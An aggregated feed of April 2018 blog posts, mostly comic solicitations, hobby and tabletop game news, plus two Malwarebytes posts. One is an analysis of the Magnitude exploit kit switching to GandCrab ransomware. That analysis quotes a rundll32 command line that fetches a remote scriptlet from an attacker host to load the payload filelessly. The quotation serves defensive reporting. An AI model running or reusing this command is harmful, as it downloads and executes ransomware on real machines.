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Doctor, Doctor! Our Five Fave Multi-Doctor Adventures!

BBC Doctor Who - Wed, 04/18/2018 - 06:12
There’s always something special about a multi-Doctor story. The return of familiar faces, the moments where the Doctors banter and bicker and the feeling that the Time Lord is finally speaking to someone who understands the danger and excitement of his world… As we look ahead to Twice Upon a T... 2017-12-03T11:00:00+00:00 2017-12-03T11:00:00+00:00
Categories: Doctor Who Feeds


First Comics News - Wed, 04/18/2018 - 06:11

Evan Dorkin Brings Fans New Hackles-Raising Horror!

MILWAUKIE, Ore., (April 17, 2018)—Dark Horse Comics is proud to welcome fans back to Burden Hill as the one and only Evan Dorkin (Blackwood, Milk and Cheese, The Eltingville Club, Dork) joins forces with artist Benjamin Dewey (The Autumnlands) and letterer Nate Piekos for a thrilling new series, Beasts of Burden: Wise Dogs and Eldritch Men. Co-created by Dorkin and Jill Thompson, Beasts of Burden has been a staple at Dark Horse since it debuted in 2009 and we are thrilled to bring readers a new story starring Beasts of Burden’s Wise Dogs.

Beasts of Burden: Wise Dogs and Eldritch Men follows the heroic pack of canines known as the Wise Dogs as they take on a series of new horrors and find a link among a variety of seemingly unrelated occult disturbances plaguing Burden Hill and the surrounding areas. Their discovery leads them to mountain village inhabited by a survivalist witch-cult who have uncovered the existence of a “Blood Lure” attracting occult forces, creatures, and many more terrors to Burden Hill!

Beasts of Burden: Wise Dogs and Eldritch Men #1 (of 4) goes on sale August 22, 2018, and is available for preorder at your local comic shop. Issue #1 also offers a variant cover by Rafael Albuquerque.

Categories: Comic Book Blogs


First Comics News - Wed, 04/18/2018 - 06:08


J.T. Krul ; Michael Turner – Story / Michael Turner ; various – Art


Celebrate Aspen’s 15 Year Anniversary with 25-cent Primer issues!


New readers and fans alike can find everything they need to know about Aspen’s flagship title in this new Michael Turner’s Soulfire 15 Year Anniversary Primer issue! Join in on the battle between Magic and Technology, and one young orphan’s quest as the “Bearer of the Light” to usher in a new era of magic! Check out never-before-seen commentary, art and creator secrets in anticipation of Volume 7 and more…All for only a quarter! These Aspen Anniversary edition primer issues are the perfect compliment to discover more about Aspen’s upcoming slate of new and returning titles!


The SOULFIRE PRIMER 2018 is in stores July 18th, 2018!

FC                            24 pages                              .25c




SOULFIRE vol 7 #1

J.T. Krul – Story  / Chahine Ladjouze – Art / Wes Hartman – Colors


Celebrating the 15th anniversary of its creation, Michael Turner’s incredible vision of magic and wonder returns for an all-new volume!


As the new age of magic continues in the shadows of this future landscape, Malikai and his friends try to enjoy a little down time, but such plans never seem to last. Grace continues to serve as a protector for all things magic, more specifically the dragons, but she is growing tired of having to keep the true power of the world a secret. And, there is a new danger on the horizon, a new figure in the Soulfire universe who may be the greatest threat to the fragile balance between magic and technology yet!


Michael Turner and Aspen Comics’ flagship title commemorates its landmark fifteenth year and the creative team of long time Soulfire writer J.T. Krul (Teen Titans, Jirni), newcomer Chahine Ladjouze, and colorist Wes Hartman have joined forces to bring new readers as well as loyal fans alike a Soulfire story for the next generation!


SOULFIRE vol 7 #1 is in stores July 18th, 2018!

FC                            32 pages                              $3.99



Siya Oum ; Jordan Gunderson ; Alex Konat ; Various – Art


Aspen’s popular swimsuit issue has returned for a 15-Year Anniversary Special!


Join Aspen Comics’ top talent as they have fun in the sun and offer a playful look at our most popular characters! Industry talents and Aspen veterans such as Siya Oum, Jordan Gunderson, Alex Konat, Talent Caldwell, Marco Renna and more grace the pages of this gorgeous pinup book! Don’t miss the return of the HOTTEST book of the summer!


ASPEN SPLASH 2018 is in stores July 18th, 2018!

FC                            32 pages                              $3.99




Jordan Gunderson ; Christopher Fielder – Story  / Jordan Gunderson – Art / Luis Guerrero – Colors


In the not so distant future…

The U.S. has spent several years embroiled in a conflict with the invading forces of China. In the war zone of the American Southwest, small bands of freedom fighters have formed to help guide refugees away from the destruction. Isabel Vasquez, known to her squad as “Delphi”, has been leading rescue missions inside the combat zone for years. Escorting those displaced from the war has fueled her faith that she is making a difference. But now that faith is increasingly tested by reoccurring nightmares of a coming apocalypse. She fears the war is only the beginning of a great threat…one that promises to bring humanity to the brink of extinction!


Unbeknownst to Delphi, a band of renegade angels has fled Heaven seeking a new refuge. The Earth has become their new home, where they view humanity as a plague that must be purged. As their path forges ahead toward global genocide, it is yet to be decided if Delphi and her growing visions of a global Armageddon can help stop them in time.


From artist and creator Jordan Gunderson comes Aspen’s most thrilling new series of the summer, DISSENSION: WAR ETERNAL!


DISSENSION: WAR ETERNAL #1 is in stores July 25th, 2018!

FC                            32 pages                              $3.99





J.T. Krul – Story  / Alex Konat – Art / John Starr- Colors


In the future, technology continues to dominate every aspect of civilization, and nowhere is it more on display than the city of New Sheng, a vast metropolis where those with means live high amongst the lights and those without wallow in the shadows below. In his desperate struggle to reach a better life, a young fighter named Zihao has sacrificed his body in the ring and now prepares to pay an even bigger price in order to battle in the main arena with the elite cybernetically-enhanced warriors. But will seeing another lost soul from his past make his climb easier or harder?


Don’t miss the first chapter of an electrifying story in a bold new world. Aspen is proud to partner with ZMX Entertainment on their landmark project created by J.T. Krul, Yuyan Song, and Dinna Wu, and featuring the stellar creative team of Alex Konat, Mark Roslan, John Starr, and Sal Cipriano.


NU WAY #1 is in stores July 11th, 2018!

FC                            32 pages                              $3.99



FATHOM vol 7 #2

Ron Marz – Story  / Siya Oum – Art / Peter Steigerwald – Colors


1998’s Best-Selling Title of the Year Celebrates 20 Years in 2018!


This all-new adventure for Aspen’s preeminent hero sees her attempt to navigate an ever-changing world where The Blue are not only present above the surface—but exploited in new and dangerous ways. With her brother Finn suddenly missing, Aspen Matthews takes a deep dive to look for help, arriving in a majestic undersea city. Will she find the allies she so desperately needs, or enemies looking for vengeance? Meanwhile, the mysterious agents who have kidnapped Finn begin a series of unholy experiments to unlock the secrets of his powers!


Michael Turner and Aspen Comics’ flagship title commemorates its landmark twenty years since its debut in grand fashion! The superstar creative team of Ron Marz (Green Lantern, Witchblade) and Siya Oum (Lola XOXO) are on board to deliver Fathom, and the iconic heroine, Aspen Matthews, to a new generation of readers as well as loyal fans alike!


FATHOM vol 7 #2 is in stores July 18th, 2018!

FC                            32 pages                              $3.99



Blake Northcott – Story  / Donny Tran – Art / Omi Remalante – Colors


Aspen Comics’ hit action-adventure assassin series marks its 10-Year Anniversary with a brand new pulse-pounding volume!


Iris’ journey to Rome ends in murder and mayhem, and a game-changing discovery that reveals Magni Global Security’s true intentions. When Iris confronts Alexander with her findings, she’s given an ultimatum…and an assignment that she never saw coming!


Brought to you by acclaimed author Blake Northcott (Michael Turner’s Fathom) with art by newcomer Donny Tran, this newest pulse-pounding 10 year anniversary chapter of Executive Assistant: Iris is sure to be the greatest volume yet!


EXECUTIVE ASSISTANT: IRIS vol 5 #3 is in stores July 25th, 2018!

FC                            32 pages                              $3.99




Mark Roslan; Gabe Carrasco – Story  / Alex Arizmendi – Art / Wes Hartman – Colors


Their Future Depends on Each Other as Aspen’s newest hit series continues!


Sybil has abandoned her friends! As she makes her way to face her father alone, an unexpected but familiar face lies in wait, but are they friend, or foe? Meanwhile Emperor Atilus has all but completed his plan to return Havos to the war-world it was in the glory days, and the Portal Bound crew faces it’s biggest challenge yet… Brett?


Aspen’s brand new action-adventure saga continues from writers Mark Roslan (BubbleGun, Broken Pieces) and newcomer Gabe Carrasco, with artist Alex Arizmendi (Edge of Venomverse: War StoriesSecret Empire: Brave New World) as they bring us a tale of two earths in need of two heroes!


PORTAL BOUND #4 is in stores July 4th, 2018!

FC                            32 pages                              $3.99




J.T. Krul – Story  / Michael Santamaria – Art / John Starr – Colors


Aspen’s popular fantasy adventure series, JIRNI, reaches the final issue of its epic third volume!


Ara has once again come face-to-face with the evil sorcerer Torinthal as she tries to free her mother. But, she never imagined where her search would lead her and what life-changing results might befall her. If she’s survives. Don’t miss the climatic finale to the biggest Jirni story yet. The Fall of the D’jinn!


Created by New York Times Best-Selling author J.T. Krul (Michael Turner’s Soulfire, Green Arrow) with art by newcomer Michael Santamaria, this next exciting chapter of Jirni will once again return readers to a land of untapped wonder!


JIRNI VOL 3 #5 is in stores July 11th, 2018!

FC                            32 pages                              $3.99




Vince Hernandez – Story  / Joey Vazquez – Art /  – Colors


The forces of magic have returned—and this time no magical being is safe!


All bets are off as the Magic Harvester’s plan to eliminate all magical beings– and humans in the process—and start over with a new civilization is set into motion. Only Hank, Sudana and their allies hold a fighting chance to save the world of magic from imminent doom in this epic finale to Charismagic volume three!


CHARISMAGIC VOL 3 #6 is in stores July 11th, 2018!

FC                            32 pages                              $3.99




Frank Mastromauro – Story  / Andre Risso – Art / Valentina Taddeo – Colors


Volume three of Aspen’s hit series’ Shrugged reaches its final issue!


A storyline over 12 years in the making, the finale of Shrugged volume 3 will set the stage for the future of the series, in ways you’d never expect! As Theo, Kiori, Ange, Dev and one unexpected ally make one last attempt to save both Earth and Perspecta, relations between the humans, Elysians and Nefarians will never be the same again!


SHRUGGED VOL 3 #6 is in stores July 25th, 2018!

FC                            32 pages                              $3.99


J.T. Krul – Story  / Giuseppe Cafaro – Art / Wes Hartman – Colors


Return to the world of magic with MICHAEL TURNER’S SOULFIRE in this great jumping-on point for new readers!


Following the events of ASPEN UNIVERSE: REVELATIONS, the world of SOULFIRE has a new status quo, as magic and technology have intertwined as never before! Meanwhile, Soulfire’s Grace, Malikai and friends now must also discover that things are not as they seem in the year 2211—including new—and old—dangers that seek to eliminate them!


Please join longtime Soulfire writer J.T. Krul, artist Giuseppe Cafaro and colorist Wes Hartman, as they bring readers back to the wonder and everything you loved about SOULFIRE! Collecting together the entire sixth volume and including a complete cover gallery, this newest SOULFIRE Vol 6 TPB is not to be missed!


SOULFIRE VOL 6 TPB: FUTURE SHOCK is in stores JULY 18th, 2018!

FC                            216 pages                            $19.99                       TPB




Vince Hernandez – Story  / Sana Takeda – Art


Discover the early years of Soulfire’s heroine Grace in this acclaimed mini-series!


The seeds of conflict have grown into a deadly battle for territory as the winged races of Rahtumi and Sethoru enter into an all-out war. Amidst the chaos, two Rahtumi lovers, Grace and Kelsyn, share their own pending engagement, that of marriage. But the reaches of war soon envelops them both, and their life together will be forever compromised! While high in the snowy mountain passes of the Sethoren realm of Ontiria, the dark wizard Azar, using his own horrid creation of a powerful new form of magic, plans to overshadow both kingdoms of Rahtumi and Sethoru in death and despair.


Written by Vince Hernandez (Charismagic, Fathom: Kiani) with stunning art by Sana Takeda (Monstress), this brand new SOULFIRE trade paperback collects together the entire sold out SHADOW MAGIC mini-series and includes a complete cover gallery!


SOULFIRE: SHADOW MAGIC TPB is in stores July 11th, 2018!

FC                            152 pages                            $14.99                       TPB


Categories: Comic Book Blogs

THE BOOK CAVE: Abominations of The Dire Planet By Joel Jenkins

First Comics News - Wed, 04/18/2018 - 05:49


Once again, we have the pleasure of traveling through the imagination of Joel Jenkins mind. I’ve mentioned before that Joel Jenkins is the master of all the different genres. In this book, we travel to The Dire Planet, Joel Jenkins version of Mars. This is the sixth book in the series and I for one, enjoy the series.

While Garvey Dire is the main character in the series, he isn’t always the main character in the book. Joel has populated the series with many characters that Garvey Dire has encountered in his life on Ancient Mars. One character explained that Garvey Dire has the ability to make his enemies into his allies and some of them into heroes in the books.

Also, make sure you don’t become too attached to every character you meet and like. You never know who will survive at the end. For every character that dies, at least two new characters appear or one you may have forgotten from a previous book.

In this book we are introduced to a new enemy, that is pictured on the cover. A good-looking (not) being in a mechanical armor. Who are they? What do they want? Where in time and space are they from? These questions and many more are asked by Garvey Dire and his friends, family and their enemies along with us, the readers.

While this is the main story, it isn’t the only story. The other stories in the book, while they appear to lead in other directions are in reality taking the characters on a path to find what they need to fight the main enemy. It’s like having several books packed into one.

While you can read this book on its own, it is best to read the series from beginning to present to feel the buildup in the series and to discover how Joel introduces each new character. One of my favorites is Naegrik, who is from a not a very pleasant group of people. His growth through the series makes him easily seen to become a main character in a book of his own. Yes, he is in this book and plays an important role both in this book and the future of his people.

As much as I would like to give you more details, I don’t want to spoil anything you will read. What I will say is, if you think you know where the story is leading you, expect to be surprised.

One last thing before I go. I hope that Joel gives us a reference book for The Dire Planet. Maps, people, animals, religions and more. Plus, all the footnotes he uses to help explain everything.

Be sure and buy all of his Dire Planet series and all of his other books.

Categories: Comic Book Blogs

Saturday Sweater Tutorial

Moogly - Wed, 04/18/2018 - 04:06

The Saturday Sweater is easy to make, easy to stitch, and easy to wear! And now it’s even easier to crochet with this Moogly video Saturday Sweater Tutorial! Disclaimer: This post includes affiliate links; material support provided by Red Heart Yarns and Furls Crochet. How to Crochet the Saturday Sweater – Right Handed  How [...]

The post Saturday Sweater Tutorial appeared first on moogly. Please visit www.mooglyblog.com for this post. If you are viewing this on another site they have scraped the content from my website without permission. Thank you for your support.

Categories: Crochet Life

Hookin On Hump Day #165: A Yarny Link Party!

Moogly - Wed, 04/18/2018 - 01:00

I don’t know how, but these collections just keep getting better and better! I love seeing the excitement and variety of yarn crafting happening right now – and I feel like we’ve got 5 of the best new patterns featured right here on Hookin On Hump Day! A great big thanks to all those who [...]

The post Hookin On Hump Day #165: A Yarny Link Party! appeared first on moogly. Please visit www.mooglyblog.com for this post. If you are viewing this on another site they have scraped the content from my website without permission. Thank you for your support.

Categories: Crochet Life

Rick and Morty Trading Cards Season 1: How to Get Yours Before They’re All Gone

Cryptozoic - Tue, 04/17/2018 - 21:55

Wubba lubba dub dub! Rick and Morty fans are a devoted group, so there has been a lot of excitement about our upcoming Rick and Morty Trading Cards Season 1. With so much zany Rick and Morty goodness in the set, the demand has been CRAZY. Cryptozoic is already completely sold out, so the only way to get Rick and Morty Trading Cards Season 1 is through one of the dealers listed HERE

Categories: Tabletop Gaming Blogs

Lucidity from Renegade Games

Gamer Goggles - Tue, 04/17/2018 - 18:35

LYou have the ability to enter the dream world: a world of vivid hallucinations and horrific monsters. Draw power from the Nightmares that live there, but do not let them corrupt you. For there are other Dreamers seeking power this night, and there is only room for one to escape from the realm of Nightmares.

Should you become corrupted and turn into a Nightmare yourself, you must hunt down the other Dreamers and consume their power. When the night is over, only one Dreamer or Nightmare will be left standing.

One to four players, ages 14 and up, will battle to collect dreams, gaining power as they work towards escaping the dream world in about 20-30 minutes.


80 custom dice!
1x Black Bag
4x Dreamer Cards
5x Nightmare Cards
4x Turn Summary Cards
4x Glass Sleep Markers
1 Rulebook

Categories: Tabletop Gaming Blogs

Magnitude exploit kit switches to GandCrab ransomware

Malwarebytes - Tue, 04/17/2018 - 16:58

The GandCrab ransomware is reaching far and wide via malspam, social engineering schemes, and exploit kit campaigns. On April 16, we discovered that Magnitude EK, which had been loyal to its own Magniber ransomware, was now being leveraged to push out GandCrab, too.

While Magnitude EK remains focused on targeting South Koreans, we were able to infect an English version of Windows by replaying a previously recorded infection capture. This is an interesting departure from Magniber, which was extremely thorough at avoiding other geolocations.

Magnitude is now also using a fileless technique to load the ransomware payload, making it somewhat harder to intercept and detect. The variations of this technique have been known for several years and used by other families such as by Poweliks, but they are a new addition to Magnitude.

Figure 1: Magnitude EK traffic capture with the GandCrab payload

Magnitude has always experimented with unconventional ways to load its malware, for example via binary padding, or more recently via another technique, but still exposing it “in the clear” from traffic or network packet capture.

Figure 2: Magnitude EK dropping Magniber on April 4, 2018

The payload is encoded (using VBScript.Encode/JScript.Encode) and embedded in a scriplet that is later decoded in memory and executed.

"C:\Windows\System32\rundll32.exe" javascript:"\..\mshtml,RunHTMLApplication "; document.write();GetObject('script:http://dx30z30a4t11l7be.lieslow[.]faith/5aad4b91a0da20d4faab0991bdbe7138')

Figure 3: Innocuous scriptlet hides the payload

After the payload is injected into explorer.exe, it immediately attempts to reboot the machine. If we suspend that process and use @hasherezade‘s PE-Sieve, we can actually dump the GandCrab DLL from memory:

Figure 4: Extracting the payload from memory using PE-Sieve

Upon successful infection, files will be encrypted with the .CRAB extension while a ransom note is left with instructions on the next steps required to recover those files.

Figure 5: GandCrab’s ransom note

A recent law enforcement operation provided victims with a way to recover their files from previous GandCrab infections. However, the latest version cannot be decrypted at the moment.

Malwarebytes users are protected against this attack when either the Internet Explorer (CVE-2016-0189) or Flash Player (CVE-2018-4878) exploits are fired.

Time will tell if Magnitude sticks to GandCrab, but this is a noteworthy change for an exploit kit that solely used its own Magniber ransomware for about 7 months, after having replaced the trusted Cerber.

Indicators of compromise

Dumped GandCrab DLL


The post Magnitude exploit kit switches to GandCrab ransomware appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Fantasy Flight Games’ Lovecraft-inspired board game gets a stand-alone adventure game early 2019

Gamer Goggles - Tue, 04/17/2018 - 16:43

Fantasy Flight Games’ Lovecraft-inspired board game gets a stand-alone adventure game early 2019

PARIS — April 17, 2018 — Asmodee Digital, the industry leader in digital board games, announced today that it will publish a brand-new adventure game based on Fantasy Flight Games’ Mansions of Madness, an award-winning board game celebrated for its high production values, Lovecraft-inspired art, and unique fusion of physical and digital gameplay mechanics. Developed by Luckyhammers, the Mansions of Madness: Mother’s Embrace video game is the next evolution of the iconic game and is scheduled to hit Steam (PC/Mac) early 2019.

In Mansions of Madness: Mother’s Embrace, players will lead a team of investigators through an eerie mansion while uncovering its dark secrets. Everything is not what it seems as the investigators encounter traps, monsters, and other Lovecraftian horrors, and descend deeper into the depths of madness. Will your team solve the mystery and make it out alive?

“At Asmodee Digital, we’re focused on creating new digital experiences based on beloved board-game IPs. The characters, adventures and universe introduced in the Mansions of Madness board game lend themselves well to an adventure video game, and we look forward to bringing the IP to life in a new way,” said Philippe Dao, Chief Marketing Officer of Asmodee Digital. “We have a passion for board games and want to take risks to elevate the genre. Working alongside great partners like Fantasy Flight Games and Luckyhammers allows us to do that.”

Add the game to your Steam wishlist: http://store.steampowered.com/app/840210/Mansions_of_Madness/

Assets in the press kit : https://drive.google.com/drive/folders/1nsCvVSozIyJR1BIScsCUIkTss327oauc

Categories: Tabletop Gaming Blogs

Star Trek Red Alert from Modiphius

Gamer Goggles - Tue, 04/17/2018 - 16:25
The Star Trek Adventures Red Alert beta rules are available for FREE on Modiphius.net and DriveThruRPG.com. We’ll also be demoing Red Alert live at the weekend’s Salute show at Excel in the UK, so come on down to Stand TK19, see the rules in action and pick yourself up an exclusive Khan Noonien Singh mini, with every Star Trek Adventures purchase!

RED ALERT! With Star Trek Adventures: Red Alert, your gaming group can add an exciting three-dimensional tactical experience to your RPG encounters. Now, Federation away teams can do battle against Klingon warriors, Romulan strike teams, Borg drones, or any number of other threats on far-flung worlds across the Galaxy. Whether you’re a seasoned veteran of tabletop campaigns or a fresh-from-the-academy redshirt, you’ll soon be controlling your own away team and battling over the fate of worlds or the entire Galaxy! This is a FREE PDF chapter of the Operations Division supplementary rulebook, for the Star Trek Adventures role playing game, and contains rules for miniatures combat. You will also need (all available as part of our Star Trek Adventures Collection)
  • The Star Trek Adventures core rulebook
  • Star Trek Adventures miniatures
  • Star Trek Adventures tile sets
  • At least two 20-sided dice (d20) per player
  • Several 6-sided dice (d6) to serve as Challenge Dice
  • Two sets of six chips or tokens for Momentum and Threat

Modiphius would love to here from you about this Star Trek Adventures release and  any feedback after you’ve had a chance to play the game, so go visit us at the Star Trek Adventures page, where you’ll find further details on all aspects of the game including the free Living Campaign

Categories: Tabletop Gaming Blogs

5 cybersecurity questions retailers must ask to protect their businesses

Malwarebytes - Tue, 04/17/2018 - 15:00

The Target breach in 2013 may not be the biggest retail breach in history, but for many retailers, it was their watershed moment.

Point-of-sale (PoS) terminals were compromised for more than two weeks. 40 million card details and 70 million records of personal information swiped—part of which was “backlist,” historical transaction information dating back to more or less a decade ago. Card unions paid over $200 million in cost for card reissues. They then filed a class-action lawsuit against Target to regain this cost.

And the most mind-blowing fact of all? Target actually had (and still does have) cybersecurity measures in place and a security policy for employees to follow. How and why the breach even happened the way it happened remained the subject of discussion for a long time, and hard lessons were learned.

The good news for retailers is that it doesn’t (always) have to be this way.

Pose the right questions

Retailers of all shapes and sizes care about their businesses and clients. No merchant would want to be in the shoes of Target or TJX for a minute, post-breach. In fact, if they can keep something as big and messy and costly from happening to them, they would do anything.

It’s understandably challenging to add more to an already tall order of “things to do” in the retail industry; however, cybersecurity should no longer be seen as an afterthought, nor should it be treated like an option that one can get hyped up about today and then forget tomorrow. It has quickly become an integral part of any organization for the sake of business continuity, client retention, and brand integrity.

If you remain unconvinced whether you really need to incorporate cybersecurity in your business, perhaps this is a thought you can consider: If your organization uses any form of technology that connects to a data communication avenue and/or the Internet, chances are you need cybersecurity.

“Where do I start?” is probably not the right question to ask once you decide to kick off this journey, for you’ll most certainly receive an “I don’t know” or “I have no idea” just as instantly. Instead, be specific and practical. Come up with questions that you think you can answer. We have listed some below that you can use to guide you on your way.

What am I using in business that needs protecting?

Here, you can list down your valuable assets, beginning with the tangible (the retail store, CCTV cameras, mobile phones, point-of-sale machines, etc.) and then the intangible (your website, customer data, intellectual property, etc.). Once done, you can then find out ways to secure them individually according to your business’s needs. Most of the time, all you need to do is to configure your devices and peripherals to make the most use of security-related settings.

For example, installing smart CCTV cameras on-premise can both lessen the risk of physical theft and aid law enforcement in capturing criminals should something terrible happen in the shop. But who is watching your watcher? Better yet: Who else could be watching through your watcher? A lot of CCTV cameras can be accessed publicly via the Internet. You can secure these cameras and ensure that you and your staff are the only ones who can use them by setting them up to local-only mode and changing their admin names and passwords.

You may also decide to seek help from your service provider with more complicated devices and systems.

Read: Why you don’t need 27 different passwords

Should you wish to invest in software or tools, pick those that protect as many of your assets as possible. For example, many endpoint security solutions allow users to install it on multiple devices running on Windows.

What are the threats that can potentially affect my business?

Cybersecurity threats to retail businesses can come in the form of people or technology. We’re quite familiar with the former: from the petty thief to an organized crime group. There are also malicious insiders and basically anyone meaning to make money out of your business.

On the other hand, one thing merchants miss when identifying what could potentially introduce threats to their companies are the very technology (apps, modern payment systems, and others) they use or invest in to remain competitive. The dangers or risks introduced by these are usually accidental, and can be avoided entirely.

Customer data remains the primary target of fraud in the retail industry. For those who may not be in the know, one customer data may contain their credit or debit card details, spending patterns or habits, and loyalty behaviors, which can be retrieved from online shopping, digital marketing, and loyalty schemes they’re enrolled in.

Other threats retailers must keep in mind that they must defend themselves against malicious insiders, spear phishing, DDoS attacks, brute force attacks, reconnaissance and suspicious activity attacks, supply chain attacks, and more. If you’re a merchant that uses the omni-channel approach, be aware that there is now a new type of fraud in this environment. We’ll tackle this in depth in a future post.

How can I keep cybersecurity threats away from my business?

Merchants have gotten really good at handling traditional risks and threats to their businesses. But managing potential physical risks, which is fantastic, is one thing, and managing digital risks is another. For new and old merchants alike, thankfully they don’t have to start from scratch. There are already industry standards in place, such as the Payment Card Industry Security Council’s Data Security Standard (PCI DSS), that they can readily glean from. The Object Management Group (OMG), an international technology standards consortium, also has a cybersecurity standard that merchants may want to look into as well. And, oh, if you have clients in the UK and EU countries, let’s not forget GDPR.

As for other cybersecurity threats that need addressing, such as those that affect a merchant’s website, our Labs blog has a lot of great resources:

The National Federation of Retail Newsagents (NFRN), an organization composed of thousands of independent retailers in the UK and Northern Ireland, published a booklet that also serves as a checklist for merchants regarding assessing retail crime risk. This list includes physical security and cybersecurity.

Lastly, merchants must decide on a regular time to conduct a risk assessment—monthly, quarterly, biannually, or annually.

Should my employees get involved in mitigating cybersecurity risks?

Absolutely. When it comes to implementing good security practices in a retail business, merchants cannot do it alone. One way they can start employees off is by creating a culture of cybersecurity at the very beginning. Merchants can even incorporate awareness and basic cybersecurity concepts in their training process for new hires. Get them up to speed with the kinds of digital threats the business may come face-to-face with at some point in the future and provide them the steps on how to respond efficiently to red alert cases.

Read: How to create an intentional culture of cybersecurity

Note that training must be done on a regular basis and not just a one-off occurrence. It must also be relevant, practical, and engaging to employees. Use familiar case studies like the Target breach, or if your organization has experienced a form of cyberattack in the past, use that as a teaching moment, too.

What else can I do once I’ve secured the business’s assets?

Once you’ve done a great deal of securing, realize that the job doesn’t end there. There are still some things that need to be done:

  • Monitor your PCI environment on a regular basis. Doing so will notify you in real-time of potential intrusions in your payment system so you can nip the thread in the bud before the circumstance escalate.
  • Schedule a regular audit of security and compliance. This will ensure that your retail business remains in compliance with security and industry standards.
  • Join a community. Information sharing among fellow merchants is becoming a trend when it comes to cybersecurity. Firms learn from each other’s victories and mistakes. After all, cybercrime is not just a problem of one but of every organization in the industry. Cybersecurity, in this regard, is now a community effort.
  • Keep learning. Staying on top of the latest security news and industry challenges can help merchants familiarize themselves with tactics threat actors are using against retailers, assess their current situation, and make adjustments to their defenses and protocols accordingly.
  • Prioritize security and privacy when creating apps. Make sure that should you choose to develop software, such as apps, that you encourage your clients to install, make sure that you have security in mind in making these apps.
  • Create a security policy. This makes good computing practices not just feel like guidelines but actual procedures employees need to adhere to. Here are sample templates merchants can use as and tweak to their preference.
Stop chasing the wrong answers

Breaches are inevitable. This is a known fact and an often-repeated line by people in the cybersecurity industry. Companies have been advised to prepare.

That said, perhaps a merchant’s next and final question would be this: If a breach is inevitable, then what’s the point of doing all this?

It’s true that no one wants to invest a lot of time and money in security tools, services, and people to fight off breaches only to be told it’s not possible. The message they’re hearing is “the bad guys always win, and there’s nothing you can do about it.” However, this isn’t in-line with reality at all.

While there’s no such thing as perfect security, the protocols a multitude of companies have in place already helped them stop many breach attempts.

Unfortunately, sometimes threat actors do succeed in infiltrating a retailer’s network. In this case, the logical action is to contain it to prevent it from escalating and causing more damage. But containment and preventative steps cannot be done if proper security measures, guidelines, and a good security architecture aren’t in place, to begin with. Also, identifying what made it successful so the organization can make changes is part of the overall cybersecurity strategy. So putting them there isn’t really for naught.

The post 5 cybersecurity questions retailers must ask to protect their businesses appeared first on Malwarebytes Labs.

Categories: Techie Feeds


First Comics News - Tue, 04/17/2018 - 14:28


While Jughead confronts Reggie and his pack, the Coopers are done fooling around and send in the big guns for Jug. Will he—and his sister Jellybean—survive the chaos? Plus, a member of the Riverdale gang makes a startling decision that will change EVERYTHING!
Script: Frank Tieri
Art: Pat and Tim Kennedy, Joe Eisma, Bob Smith, Matt Herms, Jack Morelli
Jughead: The Hunger #7 CVR A Reg: Adam Gorham
Jughead: The Hunger #7 CVR B Var: Tyler Boss
Jughead: The Hunger #7 CVR C Var: Michael Walsh
Ship Date: 6/27
On Sale Date: 7/11
32-page, full color comic
$3.99 U.S.


Jughead Jones has always had an insatiable appetite… but what if his hunger came from a sinister place? When a murderous menace is on the prowl, taking the lives of some of the most well-known and esteemed inhabitants of Riverdale, Jughead and his family’s dark legacy comes to light in this horrifying collection for TEEN+ readers.
Script: Frank Tieri
Art: Pat and Tim Kennedy, Joe Eisma, Bob Smith, Jim Amash, Matt Herms
Cover: Michael Walsh
$17.99 US/$19.99 CAN
6 5/8 x 10 3/16”
144 pp, Full Color
Direct Market On-Sale Date: 7/18


NEW ONGOING SERIES! The vampire siege of Riverdale begins! Will Veronica lead the town towards salvation… or doom?
Script: Greg and Megan Smallwood
Art: Greg Smallwood, Jack Morelli
Vampironica #4 CVR A Reg: Greg Smallwood
Vampironica #4 CVR B Var: Francesco Francavilla
Vampironica #4 CVR C Var: Fiona Staples
Ship Date: 7/4
On Sale Date: 7/18
32-page, full color comic
$3.99 U.S.


It all comes down to this! The Riverdale gang—held hostage by Cheryl Blossom’s father! Reggie—at last paying for his crimes! And when all is said and done, Riverdale is turned upside down once more!
Script: Mark Waid, Ian Flynn
Art: Audrey Mok, Kelly Fitzpatrick, Jack Morelli
ARCHIE #32 CVR A Reg: Audrey Mok
ARCHIE #32 CVR B Var: Robert Hack, Kelly Fitzpatrick
ARCHIE #32 CVR C Var: Peter Krause, Rosario “Tito” Peña
Ship Date: 6/20
On Sale Date: 7/4
32-page, full color comic
$3.99 U.S.


Two iconic comic book characters meet up for the FIRST TIME in this historic crossover mini-series! A battle in Gotham City extends its reach into Riverdale—with Mr. Lodge becoming enemy #1 of the dynamic duo! Now it’s up to Veronica to recruit some help and place a call… to the Batcave!
Script: Jeff Parker, Michael Moreci
Art: Dan Parent, J. Bone, Kelly Fitzpatrick, Jack Morelli
ARCHIE/BATMAN 66 #1 CVR A Reg: Michael Allred, Laura Allred
ARCHIE/BATMAN 66 #1 CVR B Var: Derek Charm
ARCHIE/BATMAN 66 #1 CVR C Var: Francesco Francavilla
ARCHIE/BATMAN 66 #1 CVR D Var: Sandy Jarrell, Kelly Fitzpatrick
ARCHIE/BATMAN 66 #1 CVR E Var: Dan Parent, J. Bone, Rosario “Tito” Peña
ARCHIE/BATMAN 66 #1 CVR F Var: Ty Templeton
Ship Date: 7/4
On Sale Date: 7/18
32-page, full color comic
$3.99 U.S.


Archie Comics’ two superhero teams THE SUPERTEENS and THE MIGHTY CRUSADERS face off against the evil Dr. Zardox in the conclusion to this epic to-issue crossover event!
Script: Ian Flynn, David Williams, Gary Martin
Art: Kelsey Shannon, David Williams, Gary Martin, Jack Morelli
ST/MC #2 CVR A Reg: David Williams, Gary Martin, Kelsey Shannon – Connecting Cover 1
ST/MC #2 CVR B Var: David Williams, Gary Martin – B&W Cover
Ship Date: 7/11
On Sale Date: 7/25
32-page, full color comic
$3.99 U.S.


NEW STORY ARC! “Hunted,” Pt 3: As more women go missing in Riverdale, the Vixens worry that they may have been used as a pawn in someone’s evil scheme. They need to come up with a plan to save the missing ladies—but is it too late?
Script: Jamie Lee Rotante
Art: Sanya Anwar, Elaina Unger, Rachel Deering
B&V: Vixens #8 CVR A Reg: Sanya Anwar
B&V: Vixens #8 CVR B Var: Veronica Fish
B&V: Vixens #8 CVR C Var: Sandra Lanz
Ship Date: 7/4
On Sale Date: 7/25
32-page, full color comic
$3.99 U.S.


Betty and Veronica assemble the Vixens: a squad brought together to take out the dangerous Southside Serpents gang. These aren’t “Archie’s Girls”—they’re starting a revolution in Riverdale!

Script: Jamie L. Rotante
Art: Eva Cabrera, Elaina Unger, Rachel Deering
Cover: Fiona Staples
$14.99 US/$15.99 CAN
6 5/8 x 10 3/16”
136 pp, Full Color
